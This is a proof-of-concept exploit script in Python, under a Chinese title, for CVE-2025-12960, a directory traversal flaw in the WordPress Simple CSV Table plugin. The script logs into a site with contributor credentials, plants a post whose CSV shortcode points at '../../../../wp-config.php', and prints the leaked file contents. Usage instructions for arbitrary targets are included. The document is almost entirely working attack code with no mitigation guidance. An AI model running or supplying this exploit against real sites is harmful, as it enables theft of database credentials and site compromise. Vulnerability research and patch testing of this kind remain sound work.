CVE-2025-12960 WordPress Simple CSV Table插件目录遍历漏洞

# CVE-2025-12960 PoC - WordPress Simple CSV Table Directory Traversal # Author: Security Researcher # Target: Simple CSV Table Plugin <= 1.0.1 import requests import sys from urllib.parse import quote def exploit_cve_2025_12960(target_url, wp_username, wp_password, file_path='../../../../wp-config.php'): """ Exploit for CVE-2025-12960: Simple CSV Table Plugin Directory Traversal Args: target_url: Target WordPress site URL wp_username: WordPress Contributor+ username wp_password: WordPress password file_path: Path to read (default: wp-config.php) """ # Login to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': wp_username, 'pwd': wp_password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Logging in to WordPress as {wp_username}...") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed!") return None print("[+] Login successful!") # Create post with malicious shortcode create_post_url = f"{target_url}/wp-admin/post-new.php" # Craft the directory traversal payload csv_shortcode = f'[csv href="{file_path}"]' post_data = { 'post_title': 'CVE-2025-12960 Test', 'post_content': csv_shortcode, 'post_status': 'draft', 'publish': 'Publish' } print(f"[*] Creating post with malicious shortcode...") response = session.post(create_post_url, data=post_data) # Extract the post URL to trigger the vulnerability if 'post=' in response.text: import re match = re.search(r'post=(\d+)', response.url) if match: post_id = match.group(1) post_url = f"{target_url}/?p={post_id}" print(f"[+] Post created! Triggering vulnerability at: {post_url}") # Request the post to trigger the shortcode vuln_response = session.get(post_url) # Check if file content is leaked if 'DB_NAME' in vuln_response.text or 'password' in vuln_response.text.lower(): print("[+] VULNERABLE! Sensitive file content leaked!") return vuln_response.text else: print("[-] File content not visible or path incorrect") return None return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-12960.py <target_url> <username> <password> [file_path]") print("Example: python cve-2025-12960.py http://target.com admin password ../../../../wp-config.php") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] file_path = sys.argv[4] if len(sys.argv) > 4 else '../../../../wp-config.php' result = exploit_cve_2025_12960(target, username, password, file_path) if result: print("\n[+] Extracted content:") print(result[:2000])